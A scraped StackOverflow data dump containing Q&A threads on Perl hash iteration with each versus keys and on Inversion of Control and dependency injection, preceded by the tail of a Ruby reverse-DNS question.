10.26.6.17 - 08:00:69:9A:97:C3 10.26.6.18 - 10.26.6.18 - 08:00:69:93:2C:E2 ``` If I do `nslookup 10.26.6.12` then I get the correct reverse DNS so that shows that my machine is seeing the DNS server. I have tried `Socket.gethostbyname`, `gethostbyaddr`, but it doesn't work. Any guidance will be much appreciated.
Today I also needed reverse DNS lookup and I've found very simple standard solution: ``` require 'resolv' host_name = Resolv.getname(ip_address_here) ``` It seems it uses timeout which helps in rough cases.
3,033
<p>If I have a Perl hash with a bunch of (key, value) pairs, what is the preferred method of iterating through all the keys? I have heard that using <code>each</code> may in some way have unintended side effects. So, is that true, and is one of the two following methods best, or is there a better way?</p> <pre><code># Method 1 while (my ($key, $value) = each(%hash)) { # Something } # Method 2 foreach my $key (keys(%hash)) { # Something } </code></pre>
[ { "answer_id": 3066, "author": "jj33", "author_id": 430, "author_profile": "https://Stackoverflow.com/users/430", "pm_score": 2, "selected": false, "text": "<p>I may get bitten by this one but I think that it's personal preference. I can't find any reference in the docs to each() being different than keys() or values() (other than the obvious \"they return different things\" answer. In fact the docs state the use the same iterator and they all return actual list values instead of copies of them, and that modifying the hash while iterating over it using any call is bad.</p>\n\n<p>All that said, I almost always use keys() because to me it is usually more self documenting to access the key's value via the hash itself. I occasionally use values() when the value is a reference to a large structure and the key to the hash was already stored in the structure, at which point the key is redundant and I don't need it. I think I've used each() 2 times in 10 years of Perl programming and it was probably the wrong choice both times =)</p>\n" }, { "answer_id": 3072, "author": "jaredg", "author_id": 153, "author_profile": "https://Stackoverflow.com/users/153", "pm_score": 2, "selected": false, "text": "<p>I always use method 2 as well. The only benefit of using each is if you're just reading (rather than re-assigning) the value of the hash entry, you're not constantly de-referencing the hash.</p>\n" }, { "answer_id": 3360, "author": "John Siracusa", "author_id": 164, "author_profile": "https://Stackoverflow.com/users/164", "pm_score": 9, "selected": true, "text": "<p>The rule of thumb is to use the function most suited to your needs.</p>\n\n<p>If you just want the keys and do not plan to ever <em>read</em> any of the values, use keys():</p>\n\n<pre><code>foreach my $key (keys %hash) { ... }\n</code></pre>\n\n<p>If you just want the values, use values():</p>\n\n<pre><code>foreach my $val (values %hash) { ... }\n</code></pre>\n\n<p>If you need the keys <em>and</em> the values, use each():</p>\n\n<pre><code>keys %hash; # reset the internal iterator so a prior each() doesn't affect the loop\nwhile(my($k, $v) = each %hash) { ... }\n</code></pre>\n\n<p>If you plan to change the keys of the hash in any way <em>except</em> for deleting the current key during the iteration, then you must not use each(). For example, this code to create a new set of uppercase keys with doubled values works fine using keys():</p>\n\n<pre><code>%h = (a =&gt; 1, b =&gt; 2);\n\nforeach my $k (keys %h)\n{\n $h{uc $k} = $h{$k} * 2;\n}\n</code></pre>\n\n<p>producing the expected resulting hash:</p>\n\n<pre><code>(a =&gt; 1, A =&gt; 2, b =&gt; 2, B =&gt; 4)\n</code></pre>\n\n<p>But using each() to do the same thing:</p>\n\n<pre><code>%h = (a =&gt; 1, b =&gt; 2);\n\nkeys %h;\nwhile(my($k, $v) = each %h)\n{\n $h{uc $k} = $h{$k} * 2; # BAD IDEA!\n}\n</code></pre>\n\n<p>produces incorrect results in hard-to-predict ways. For example:</p>\n\n<pre><code>(a =&gt; 1, A =&gt; 2, b =&gt; 2, B =&gt; 8)\n</code></pre>\n\n<p>This, however, is safe:</p>\n\n<pre><code>keys %h;\nwhile(my($k, $v) = each %h)\n{\n if(...)\n {\n delete $h{$k}; # This is safe\n }\n}\n</code></pre>\n\n<p>All of this is described in the perl documentation:</p>\n\n<pre><code>% perldoc -f keys\n% perldoc -f each\n</code></pre>\n" }, { "answer_id": 22669, "author": "Gary Richardson", "author_id": 2506, "author_profile": "https://Stackoverflow.com/users/2506", "pm_score": 2, "selected": false, "text": "<p>I usually use <code>keys</code> and I can't think of the last time I used or read a use of <code>each</code>.</p>\n\n<p>Don't forget about <code>map</code>, depending on what you're doing in the loop!</p>\n\n<pre><code>map { print \"$_ =&gt; $hash{$_}\\n\" } keys %hash;\n</code></pre>\n" }, { "answer_id": 57767, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>Using the each syntax will prevent the entire set of keys from being generated at once. This can be important if you're using a tie-ed hash to a database with millions of rows. You don't want to generate the entire list of keys all at once and exhaust your physical memory. In this case each serves as an iterator whereas keys actually generates the entire array before the loop starts.</p>\n\n<p>So, the only place \"each\" is of real use is when the hash is very large (compared to the memory available). That is only likely to happen when the hash itself doesn't live in memory itself unless you're programming a handheld data collection device or something with small memory.</p>\n\n<p>If memory is not an issue, usually the map or keys paradigm is the more prevelant and easier to read paradigm.</p>\n" }, { "answer_id": 67239, "author": "Michael Carman", "author_id": 8233, "author_profile": "https://Stackoverflow.com/users/8233", "pm_score": 3, "selected": false, "text": "<p>A few miscellaneous thoughts on this topic:</p>\n\n<ol>\n<li>There is nothing unsafe about any of the hash iterators themselves. What is unsafe is modifying the keys of a hash while you're iterating over it. (It's perfectly safe to modify the values.) The only potential side-effect I can think of is that <code>values</code> returns aliases which means that modifying them will modify the contents of the hash. This is by design but may not be what you want in some circumstances.</li>\n<li>John's <a href=\"https://stackoverflow.com/questions/3033/safest-way-to-iterate-through-the-keys-of-a-perl-hash#3360\">accepted answer</a> is good with one exception: the documentation is clear that it is not safe to add keys while iterating over a hash. It may work for some data sets but will fail for others depending on the hash order.</li>\n<li>As already noted, it is safe to delete the last key returned by <code>each</code>. This is <em>not</em> true for <code>keys</code> as <code>each</code> is an iterator while <code>keys</code> returns a list.</li>\n</ol>\n" }, { "answer_id": 67970, "author": "8jean", "author_id": 10011, "author_profile": "https://Stackoverflow.com/users/10011", "pm_score": 5, "selected": false, "text": "<p>One thing you should be aware of when using <strong><code>each</code></strong> is that it has\nthe side effect of adding \"state\" to your hash (the hash has to remember\nwhat the \"next\" key is). When using code like the snippets posted above,\nwhich iterate over the whole hash in one go, this is usually not a\nproblem. However, you will run into hard to track down problems (I speak from\nexperience ;), when using <code>each</code> together with statements like\n<code>last</code> or <code>return</code> to exit from the <code>while ... each</code> loop before you\nhave processed all keys.</p>\n\n<p>In this case, the hash will remember which keys it has already returned, and\nwhen you use <code>each</code> on it the next time (maybe in a totaly unrelated piece of\ncode), it will continue at this position. </p>\n\n<p>Example:</p>\n\n<pre><code>my %hash = ( foo =&gt; 1, bar =&gt; 2, baz =&gt; 3, quux =&gt; 4 );\n\n# find key 'baz'\nwhile ( my ($k, $v) = each %hash ) {\n print \"found key $k\\n\";\n last if $k eq 'baz'; # found it!\n}\n\n# later ...\n\nprint \"the hash contains:\\n\";\n\n# iterate over all keys:\nwhile ( my ($k, $v) = each %hash ) {\n print \"$k =&gt; $v\\n\";\n}\n</code></pre>\n\n<p>This prints:</p>\n\n<pre><code>found key bar\nfound key baz\nthe hash contains:\nquux =&gt; 4\nfoo =&gt; 1\n</code></pre>\n\n<p>What happened to keys \"bar\" and baz\"? They're still there, but the\nsecond <code>each</code> starts where the first one left off, and stops when it reaches the end of the hash, so we never see them in the second loop.</p>\n" }, { "answer_id": 73004, "author": "Darren Meyer", "author_id": 7826, "author_profile": "https://Stackoverflow.com/users/7826", "pm_score": 4, "selected": false, "text": "<p>The place where <code>each</code> can cause you problems is that it's a true, non-scoped iterator. By way of example:</p>\n\n<pre><code>while ( my ($key,$val) = each %a_hash ) {\n print \"$key =&gt; $val\\n\";\n last if $val; #exits loop when $val is true\n}\n\n# but \"each\" hasn't reset!!\nwhile ( my ($key,$val) = each %a_hash ) {\n # continues where the last loop left off\n print \"$key =&gt; $val\\n\";\n}\n</code></pre>\n\n<p>If you need to be sure that <code>each</code> gets all the keys and values, you need to make sure you use <code>keys</code> or <code>values</code> first (as that resets the iterator). See the <a href=\"http://perldoc.perl.org/functions/each.html\" rel=\"noreferrer\">documentation for each</a>.</p>\n" }, { "answer_id": 4489750, "author": "Hogsmill", "author_id": 545865, "author_profile": "https://Stackoverflow.com/users/545865", "pm_score": -1, "selected": false, "text": "<p>I woudl say:</p>\n\n<ol>\n<li>Use whatever's easiest to read/understand for most people (so keys, usually, I'd argue)</li>\n<li>Use whatever you decide consistently throught the whole code base. </li>\n</ol>\n\n<p>This give 2 major advantages:</p>\n\n<ol>\n<li>It's easier to spot \"common\" code so you can re-factor into functions/methiods.</li>\n<li>It's easier for future developers to maintain.</li>\n</ol>\n\n<p>I don't think it's more expensive to use keys over each, so no need for two different constructs for the same thing in your code.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3033", "https://Stackoverflow.com", "https://Stackoverflow.com/users/219/" ]
If I have a Perl hash with a bunch of (key, value) pairs, what is the preferred method of iterating through all the keys? I have heard that using `each` may in some way have unintended side effects. So, is that true, and is one of the two following methods best, or is there a better way? ``` # Method 1 while (my ($key, $value) = each(%hash)) { # Something } # Method 2 foreach my $key (keys(%hash)) { # Something } ```
The rule of thumb is to use the function most suited to your needs. If you just want the keys and do not plan to ever *read* any of the values, use keys(): ``` foreach my $key (keys %hash) { ... } ``` If you just want the values, use values(): ``` foreach my $val (values %hash) { ... } ``` If you need the keys *and* the values, use each(): ``` keys %hash; # reset the internal iterator so a prior each() doesn't affect the loop while(my($k, $v) = each %hash) { ... } ``` If you plan to change the keys of the hash in any way *except* for deleting the current key during the iteration, then you must not use each(). For example, this code to create a new set of uppercase keys with doubled values works fine using keys(): ``` %h = (a => 1, b => 2); foreach my $k (keys %h) { $h{uc $k} = $h{$k} * 2; } ``` producing the expected resulting hash: ``` (a => 1, A => 2, b => 2, B => 4) ``` But using each() to do the same thing: ``` %h = (a => 1, b => 2); keys %h; while(my($k, $v) = each %h) { $h{uc $k} = $h{$k} * 2; # BAD IDEA! } ``` produces incorrect results in hard-to-predict ways. For example: ``` (a => 1, A => 2, b => 2, B => 8) ``` This, however, is safe: ``` keys %h; while(my($k, $v) = each %h) { if(...) { delete $h{$k}; # This is safe } } ``` All of this is described in the perl documentation: ``` % perldoc -f keys % perldoc -f each ```
3,058
<p>Inversion of Control (IoC) can be quite confusing when it is first encountered.</p> <ol> <li>What is it?</li> <li>Which problem does it solve?</li> <li>When is it appropriate to use and when not?</li> </ol>
[ { "answer_id": 3082, "author": "Ecton", "author_id": 457, "author_profile": "https://Stackoverflow.com/users/457", "pm_score": 6, "selected": false, "text": "<ol>\n<li><p><a href=\"http://en.wikipedia.org/wiki/Inversion_of_control\" rel=\"noreferrer\">Wikipedia Article</a>. To me, inversion of control is turning your sequentially written code and turning it into an delegation structure. Instead of your program explicitly controlling everything, your program sets up a class or library with certain functions to be called when certain things happen.</p>\n</li>\n<li><p>It solves code duplication. For example, in the old days you would manually write your own event loop, polling the system libraries for new events. Nowadays, most modern APIs you simply tell the system libraries what events you're interested in, and it will let you know when they happen.</p>\n</li>\n<li><p>Inversion of control is a practical way to reduce code duplication, and if you find yourself copying an entire method and only changing a small piece of the code, you can consider tackling it with inversion of control. Inversion of control is made easy in many languages through the concept of delegates, interfaces, or even raw function pointers.</p>\n<p>It is not appropriate to use in all cases, because the flow of a program can be harder to follow when written this way. It's a useful way to design methods when writing a library that will be reused, but it should be used sparingly in the core of your own program unless it really solves a code duplication problem.</p>\n</li>\n</ol>\n" }, { "answer_id": 3100, "author": "Peter Burns", "author_id": 101, "author_profile": "https://Stackoverflow.com/users/101", "pm_score": 4, "selected": false, "text": "<p>I agree with <a href=\"https://stackoverflow.com/questions/3058/what-is-inversion-of-control#3082\">NilObject</a>, but I'd like to add to this:</p>\n\n<blockquote>\n <p>if you find yourself copying an entire method and only changing a small piece of the code, you can consider tackling it with inversion of control</p>\n</blockquote>\n\n<p>If you find yourself copying and pasting code around, you're almost always doing <em>something</em> wrong. Codified as the design principle <a href=\"http://c2.com/xp/OnceAndOnlyOnce.html\" rel=\"noreferrer\">Once and Only Once</a>.</p>\n" }, { "answer_id": 3108, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 10, "selected": false, "text": "<p>Inversion of Control is what you get when your program callbacks, e.g. like a gui program.</p>\n\n<p>For example, in an old school menu, you might have:</p>\n\n<pre><code>print \"enter your name\"\nread name\nprint \"enter your address\"\nread address\netc...\nstore in database\n</code></pre>\n\n<p>thereby controlling the flow of user interaction.</p>\n\n<p>In a GUI program or somesuch, instead we say:</p>\n\n<pre><code>when the user types in field a, store it in NAME\nwhen the user types in field b, store it in ADDRESS\nwhen the user clicks the save button, call StoreInDatabase\n</code></pre>\n\n<p>So now control is inverted... instead of the computer accepting user input in a fixed order, the user controls the order in which the data is entered, and when the data is saved in the database.</p>\n\n<p>Basically, <strong>anything</strong> with an event loop, callbacks, or execute triggers falls into this category.</p>\n" }, { "answer_id": 3140, "author": "urini", "author_id": 373, "author_profile": "https://Stackoverflow.com/users/373", "pm_score": 12, "selected": true, "text": "<p>The <strong><code>Inversion-of-Control</code> (IoC)</strong> pattern, is about providing <em>any kind</em> of <code>callback</code> (which controls reaction), instead of acting ourself directly (in other words, inversion and/or redirecting control to external handler/controller). The <strong><code>Dependency-Injection</code> (DI)</strong> pattern is a more specific version of IoC pattern, and is all about removing dependencies from your code.</p>\n<blockquote>\n<p>Every <code>DI</code> implementation can be considered <code>IoC</code>, but one should not call it <code>IoC</code>, because implementing Dependency-Injection is harder than callback (Don't lower your product's worth by using general term &quot;IoC&quot; instead).</p>\n</blockquote>\n<p>For DI example, say your application has a text-editor component, and you want to provide spell checking. Your standard code would look something like this:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public class TextEditor {\n\n private SpellChecker checker;\n\n public TextEditor() {\n this.checker = new SpellChecker();\n }\n}\n</code></pre>\n<p>What we've done here creates a dependency between the <code>TextEditor</code> and the <code>SpellChecker</code>.\nIn an IoC scenario we would instead do something like this:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public class TextEditor {\n\n private IocSpellChecker checker;\n\n public TextEditor(IocSpellChecker checker) {\n this.checker = checker;\n }\n}\n</code></pre>\n<p>In the first code example we are instantiating <code>SpellChecker</code> (<code>this.checker = new SpellChecker();</code>), which means the <code>TextEditor</code> class directly depends on the <code>SpellChecker</code> class.</p>\n<p>In the second code example we are creating an abstraction by having the <code>SpellChecker</code> dependency class in <code>TextEditor</code>'s constructor signature (not initializing dependency in class). This allows us to call the dependency then pass it to the TextEditor class like so:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>SpellChecker sc = new SpellChecker(); // dependency\nTextEditor textEditor = new TextEditor(sc);\n</code></pre>\n<p>Now the client creating the <code>TextEditor</code> class has control over which <code>SpellChecker</code> implementation to use because we're injecting the dependency into the <code>TextEditor</code> signature.</p>\n" }, { "answer_id": 4056, "author": "Michal Sznajder", "author_id": 501, "author_profile": "https://Stackoverflow.com/users/501", "pm_score": 6, "selected": false, "text": "<p>But I think you have to be very careful with it. If you will overuse this pattern, you will make very complicated design and even more complicated code. </p>\n\n<p>Like in this example with TextEditor: if you have only one SpellChecker maybe it is not really necessary to use IoC ? Unless you need to write unit tests or something ...</p>\n\n<p>Anyway: be reasonable. Design pattern are <strong>good practices</strong> but not Bible to be preached. Do not stick it everywhere.</p>\n" }, { "answer_id": 98981, "author": "Glenn Block", "author_id": 18419, "author_profile": "https://Stackoverflow.com/users/18419", "pm_score": 5, "selected": false, "text": "<ol>\n<li><p>Inversion of control is a pattern used for decoupling components and layers in the system. The pattern is implemented through injecting dependencies into a component when it is constructed. These dependences are usually provided as interfaces for further decoupling and to support testability. IoC / DI containers such as Castle Windsor, Unity are tools (libraries) which can be used for providing IoC. These tools provide extended features above and beyond simple dependency management, including lifetime, AOP / Interception, policy, etc.</p></li>\n<li><p>a. Alleviates a component from being responsible for managing it's dependencies.<br>\nb. Provides the ability to swap dependency implementations in different environments.<br>\nc. Allows a component be tested through mocking of dependencies.<br>\nd. Provides a mechanism for sharing resources throughout an application.</p></li>\n<li><p>a. Critical when doing test-driven development. Without IoC it can be difficult to test, because the components under test are highly coupled to the rest of the system.<br>\nb. Critical when developing modular systems. A modular system is a system whose components can be replaced without requiring recompilation.<br>\nc. Critical if there are many cross-cutting concerns which need to addressed, partilarly in an enterprise application.</p></li>\n</ol>\n" }, { "answer_id": 99100, "author": "ferventcoder", "author_id": 18475, "author_profile": "https://Stackoverflow.com/users/18475", "pm_score": 6, "selected": false, "text": "<p>IoC / DI to me is pushing out dependencies to the calling objects. Super simple.</p>\n\n<p>The non-techy answer is being able to swap out an engine in a car right before you turn it on. If everything hooks up right (the interface), you are good.</p>\n" }, { "answer_id": 99760, "author": "ferventcoder", "author_id": 18475, "author_profile": "https://Stackoverflow.com/users/18475", "pm_score": 2, "selected": false, "text": "<ol>\n<li><p>So number 1 <a href=\"https://stackoverflow.com/questions/3058/what-is-inversion-of-control#99100\">above</a>. <a href=\"https://stackoverflow.com/questions/3058/what-is-inversion-of-control#99100\">What is Inversion of Control?</a></p></li>\n<li><p>Maintenance is the number one thing it solves for me. It guarantees I am using interfaces so that two classes are not intimate with each other. </p></li>\n</ol>\n\n<p>In using a container like Castle Windsor, it solves maintenance issues even better. Being able to swap out a component that goes to a database for one that uses file based persistence without changing a line of code is awesome (configuration change, you're done).</p>\n\n<p>And once you get into generics, it gets even better. Imagine having a message publisher that receives records and publishes messages. It doesn't care what it publishes, but it needs a mapper to take something from a record to a message.</p>\n\n<pre><code>public class MessagePublisher&lt;RECORD,MESSAGE&gt;\n{\n public MessagePublisher(IMapper&lt;RECORD,MESSAGE&gt; mapper,IRemoteEndpoint endPointToSendTo)\n {\n //setup\n }\n}\n</code></pre>\n\n<p>I wrote it once, but now I can inject many types into this set of code if I publish different types of messages. I can also write mappers that take a record of the same type and map them to different messages. Using DI with Generics has given me the ability to write very little code to accomplish many tasks.</p>\n\n<p>Oh yeah, there are testability concerns, but they are secondary to the benefits of IoC/DI. </p>\n\n<p>I am definitely loving IoC/DI.</p>\n\n<p>3 . It becomes more appropriate the minute you have a medium sized project of somewhat more complexity. I would say it becomes appropriate the minute you start feeling pain.</p>\n" }, { "answer_id": 2146712, "author": "gogs", "author_id": 260042, "author_profile": "https://Stackoverflow.com/users/260042", "pm_score": 4, "selected": false, "text": "<p>For example, task#1 is to create object.\nWithout IOC concept, task#1 is supposed to be done by Programmer.But With IOC concept, task#1 would be done by container.</p>\n\n<p>In short Control gets inverted from Programmer to container. So, it is called as inversion of control.</p>\n\n<p>I found one good example <a href=\"http://www.goospoos.com/2009/12/inversion-of-control-basics-with-example/\" rel=\"noreferrer\">here</a>.</p>\n" }, { "answer_id": 2252457, "author": "ahe", "author_id": 266971, "author_profile": "https://Stackoverflow.com/users/266971", "pm_score": 7, "selected": false, "text": "<p>Before using Inversion of Control you should be well aware of the fact that it has its pros and cons and you should know why you use it if you do so.</p>\n\n<p>Pros:</p>\n\n<ul>\n<li>Your code gets decoupled so you can easily exchange implementations of an interface with alternative implementations</li>\n<li>It is a strong motivator for coding against interfaces instead of implementations</li>\n<li>It's very easy to write unit tests for your code because it depends on nothing else than the objects it accepts in its constructor/setters and you can easily initialize them with the right objects in isolation.</li>\n</ul>\n\n<p>Cons:</p>\n\n<ul>\n<li>IoC not only inverts the control flow in your program, it also clouds it considerably. This means you can no longer just read your code and jump from one place to another because the connections that would normally be in your code are not in the code anymore. Instead it is in XML configuration files or annotations and in the code of your IoC container that interprets these metadata.</li>\n<li>There arises a new class of bugs where you get your XML config or your annotations wrong and you can spend a lot of time finding out why your IoC container injects a null reference into one of your objects under certain conditions.</li>\n</ul>\n\n<p>Personally I see the strong points of IoC and I really like them but I tend to avoid IoC whenever possible because it turns your software into a collection of classes that no longer constitute a \"real\" program but just something that needs to be put together by XML configuration or annotation metadata and would fall (and falls) apart without it.</p>\n" }, { "answer_id": 3311657, "author": "rpattabi", "author_id": 15139, "author_profile": "https://Stackoverflow.com/users/15139", "pm_score": 9, "selected": false, "text": "<p>What is Inversion of Control?</p>\n<p>If you follow these simple two steps, you have done inversion of control:</p>\n<ol>\n<li>Separate <strong>what</strong>-to-do part from <strong>when</strong>-to-do part.</li>\n<li>Ensure that <strong>when</strong> part knows as <em>little</em> as possible about <strong>what</strong> part; and vice versa.</li>\n</ol>\n<p>There are several techniques possible for each of these steps based on the technology/language you are using for your implementation.</p>\n<p>--</p>\n<p>The <em>inversion</em> part of the Inversion of Control (IoC) is the confusing thing; because <em>inversion</em> is the relative term. The best way to understand IoC is to forget about that word!</p>\n<p>--</p>\n<p>Examples</p>\n<ul>\n<li>Event Handling. Event Handlers (what-to-do part) -- Raising Events (when-to-do part)</li>\n<li>Dependency Injection. Code that constructs a dependency (what-to-do part) -- instantiating and injecting that dependency for the clients when needed, which is usually taken care of by the DI tools such as Dagger (when-to-do-part).</li>\n<li>Interfaces. Component client (when-to-do part) -- Component Interface implementation (what-to-do part)</li>\n<li>xUnit fixture. Setup and TearDown (what-to-do part) -- xUnit frameworks calls to Setup at the beginning and TearDown at the end (when-to-do part)</li>\n<li>Template method design pattern. template method when-to-do part -- primitive subclass implementation what-to-do part</li>\n<li>DLL container methods in COM. DllMain, DllCanUnload, etc (what-to-do part) -- COM/OS (when-to-do part)</li>\n</ul>\n" }, { "answer_id": 4731556, "author": "email.privacy", "author_id": 580877, "author_profile": "https://Stackoverflow.com/users/580877", "pm_score": 4, "selected": false, "text": "<p>It seems that the most confusing thing about \"IoC\" the acronym and the name for which it stands is that it's too glamorous of a name - almost a noise name.</p>\n\n<p>Do we really need a name by which to describe the difference between procedural and event driven programming? OK, if we need to, but do we need to pick a brand new \"bigger than life\" name that confuses more than it solves?</p>\n" }, { "answer_id": 12607591, "author": "Jainendra", "author_id": 1341006, "author_profile": "https://Stackoverflow.com/users/1341006", "pm_score": 5, "selected": false, "text": "<p>Let's say that we have a meeting in a hotel.</p>\n<p>We have invited many people, so we have left out many jugs of water and many plastic cups.</p>\n<p>When somebody wants to drink, he/she fills a cup, drinks the water and throws the cup on the floor.</p>\n<p>After an hour or so we have a floor covered with plastic cups and water.</p>\n<p>Let's try that after inverting the control:</p>\n<p>Imagine the same meeting in the same place, but instead of plastic cups we now have a waiter with just one glass cup (Singleton)</p>\n<p>When somebody wants to drink, the waiter gets one for them. They drink it and return it to the waiter.</p>\n<p>Leaving aside the question of the hygiene, the use of a waiter (process control) is much more effective and economic.</p>\n<p>And this is exactly what Spring (another IoC container, for example: Guice) does. Instead of letting the application create what it needs using the new keyword (i.e. taking a plastic cup), Spring IoC offers the application the same cup/ instance (singleton) of the needed object (glass of water).</p>\n<p>Think of yourself as an organizer of such a meeting:</p>\n<p><strong>Example:-</strong></p>\n<pre><code>public class MeetingMember {\n\n private GlassOfWater glassOfWater;\n\n ...\n\n public void setGlassOfWater(GlassOfWater glassOfWater){\n this.glassOfWater = glassOfWater;\n }\n //your glassOfWater object initialized and ready to use...\n //spring IoC called setGlassOfWater method itself in order to\n //offer to meetingMember glassOfWater instance\n\n}\n</code></pre>\n<p><strong>Useful links:-</strong></p>\n<ul>\n<li><a href=\"http://adfjsf.blogspot.in/2008/05/inversion-of-control.html\" rel=\"nofollow noreferrer\">http://adfjsf.blogspot.in/2008/05/inversion-of-control.html</a></li>\n<li><a href=\"http://martinfowler.com/articles/injection.html\" rel=\"nofollow noreferrer\">http://martinfowler.com/articles/injection.html</a></li>\n<li><a href=\"http://www.shawn-barrett.com/blog/post/Tip-of-the-day-e28093-Inversion-Of-Control.aspx\" rel=\"nofollow noreferrer\">http://www.shawn-barrett.com/blog/post/Tip-of-the-day-e28093-Inversion-Of-Control.aspx</a></li>\n</ul>\n" }, { "answer_id": 15026109, "author": "agaase", "author_id": 1218430, "author_profile": "https://Stackoverflow.com/users/1218430", "pm_score": 4, "selected": false, "text": "<p>A very simple written explanation can be found here</p>\n\n<p><a href=\"http://binstock.blogspot.in/2008/01/excellent-explanation-of-dependency.html\" rel=\"noreferrer\">http://binstock.blogspot.in/2008/01/excellent-explanation-of-dependency.html</a></p>\n\n<p>It says -</p>\n\n<blockquote>\n <p>\"Any nontrivial application is made up of two or more classes that\n collaborate with each other to perform some business logic.\n Traditionally, each object is responsible for obtaining its own\n references to the objects it collaborates with (its dependencies).\n When applying DI, the objects are given their dependencies at creation\n time by some external entity that coordinates each object in the\n system. In other words, dependencies are injected into objects.\"</p>\n</blockquote>\n" }, { "answer_id": 15209603, "author": "Luo Jiong Hui", "author_id": 2053183, "author_profile": "https://Stackoverflow.com/users/2053183", "pm_score": 7, "selected": false, "text": "<p>Inversion of Control, (or IoC), is about <strong>getting freedom</strong> (You get married, you lost freedom and you are being controlled. You divorced, you have just implemented Inversion of Control. That's what we called, \"decoupled\". Good computer system discourages some very close relationship.) <strong>more flexibility</strong> (The kitchen in your office only serves clean tap water, that is your only choice when you want to drink. Your boss implemented Inversion of Control by setting up a new coffee machine. Now you get the flexibility of choosing either tap water or coffee.) and <strong>less dependency</strong> (Your partner has a job, you don't have a job, you financially depend on your partner, so you are controlled. You find a job, you have implemented Inversion of Control. Good computer system encourages in-dependency.)</p>\n\n<p>When you use a desktop computer, you have slaved (or say, controlled). You have to sit before a screen and look at it. Using the keyboard to type and using the mouse to navigate. And a badly written software can slave you even more. If you replace your desktop with a laptop, then you somewhat inverted control. You can easily take it and move around. So now you can control where you are with your computer, instead of your computer controlling it.</p>\n\n<p>By implementing Inversion of Control, a software/object consumer gets more controls/options over the software/objects, instead of being controlled or having fewer options.</p>\n\n<p>With the above ideas in mind. We still miss a key part of IoC. In the scenario of IoC, the software/object consumer is a sophisticated framework. That means the code you created is not called by yourself. Now let's explain why this way works better for a web application.</p>\n\n<p>Suppose your code is a group of workers. They need to build a car. These workers need a place and tools (a software framework) to build the car. A <strong>traditional</strong> software framework will be like a garage with many tools. So the workers need to make a plan themselves and use the tools to build the car. Building a car is not an easy business, it will be really hard for the workers to plan and cooperate properly. A <strong>modern</strong> software framework will be like a modern car factory with all the facilities and managers in place. The workers do not have to make any plan, the managers (part of the framework, they are the smartest people and made the most sophisticated plan) will help coordinate so that the workers know when to do their job (framework calls your code). The workers just need to be flexible enough to use any tools the managers give to them (by using Dependency Injection).</p>\n\n<p>Although the workers give the control of managing the project on the top level to the managers (the framework). But it is good to have some professionals help out. This is the concept of IoC truly come from.</p>\n\n<p>Modern Web applications with an MVC architecture depends on the framework to do URL Routing and put Controllers in place for the framework to call. </p>\n\n<p>Dependency Injection and Inversion of Control are related. Dependency Injection is at the <strong>micro</strong> level and Inversion of Control is at the <strong>macro</strong> level. You have to eat every bite (implement DI) in order to finish a meal (implement IoC).</p>\n" }, { "answer_id": 19007073, "author": "Luo Jiong Hui", "author_id": 2053183, "author_profile": "https://Stackoverflow.com/users/2053183", "pm_score": 6, "selected": false, "text": "<p>Suppose you are an object. And you go to a restaurant:</p>\n\n<p><strong>Without IoC</strong>: you ask for \"apple\", and you are always served apple when you ask more. </p>\n\n<p><strong>With IoC</strong>: You can ask for \"fruit\". You can get different fruits each time you get served. for example, apple, orange, or water melon. </p>\n\n<p>So, obviously, IoC is preferred when you like the varieties.</p>\n" }, { "answer_id": 19007613, "author": "Luo Jiong Hui", "author_id": 2053183, "author_profile": "https://Stackoverflow.com/users/2053183", "pm_score": 8, "selected": false, "text": "<p>Inversion of Controls is about separating concerns. </p>\n\n<p><strong>Without IoC</strong>: You have a <strong>laptop</strong> computer and you accidentally break the screen. And darn, you find the same model laptop screen is nowhere in the market. So you're stuck.</p>\n\n<p><strong>With IoC</strong>: You have a <strong>desktop</strong> computer and you accidentally break the screen. You find you can just grab almost any desktop monitor from the market, and it works well with your desktop.</p>\n\n<p>Your desktop successfully implements IoC in this case. It accepts a variety type of monitors, while the laptop does not, it needs a specific screen to get fixed.</p>\n" }, { "answer_id": 25940198, "author": "Khanh", "author_id": 4059477, "author_profile": "https://Stackoverflow.com/users/4059477", "pm_score": 4, "selected": false, "text": "<p>IoC is about inverting the relationship between your code and third-party code (library/framework):</p>\n\n<ul>\n<li>In normal s/w development, you write the <strong><em>main()</em></strong> method and call \"library\" methods. <strong><em>You</em></strong> are in control :)</li>\n<li>In IoC the \"framework\" controls <strong><em>main()</em></strong> and calls your methods. The <strong><em>Framework</em></strong> is in control :(</li>\n</ul>\n\n<p>DI (Dependency Injection) is about how the control flows in the application. Traditional desktop application had control flow from your application(main() method) to other library method calls, but with DI control flow is inverted that's framework takes care of starting your app, initializing it and invoking your methods whenever required.</p>\n\n<p>In the end you always win :)</p>\n" }, { "answer_id": 26839777, "author": "VeKe", "author_id": 1878022, "author_profile": "https://Stackoverflow.com/users/1878022", "pm_score": 5, "selected": false, "text": "<p><strong>I shall write down my simple understanding of this two terms:</strong></p>\n\n<pre><code>For quick understanding just read examples*\n</code></pre>\n\n<p><strong>Dependency Injection(DI):</strong><br>\nDependency injection generally means <strong>passing an object on which method depends, as a parameter to a method, rather than having the method create the dependent object</strong>. <br>What it means in practice is that the method does not depends directly on a particular implementation; any implementation that meets the requirements can be passed as a parameter.<br><br>\n<em>With this objects tell thier dependencies.\nAnd spring makes it available. <br>This leads to loosely coupled application development.</em></p>\n\n<pre><code>Quick Example:EMPLOYEE OBJECT WHEN CREATED,\n IT WILL AUTOMATICALLY CREATE ADDRESS OBJECT\n (if address is defines as dependency by Employee object)\n</code></pre>\n\n<p><strong>Inversion of Control(IoC) Container:</strong><br>\nThis is common characteristic of frameworks,\nIOC <strong>manages java objects</strong> <br>– from instantiation to destruction through its BeanFactory. <br>-Java components that are instantiated by the IoC container are called beans, and the <strong>IoC container manages a bean's scope, lifecycle events, and any AOP features</strong> for which it has been configured and coded.</p>\n\n<p><em><code>QUICK EXAMPLE:Inversion of Control is about getting freedom, more flexibility, and less dependency. When you are using a desktop computer, you are slaved (or say, controlled). You have to sit before a screen and look at it. Using keyboard to type and using mouse to navigate. And a bad written software can slave you even more. If you replaced your desktop with a laptop, then you somewhat inverted control. You can easily take it and 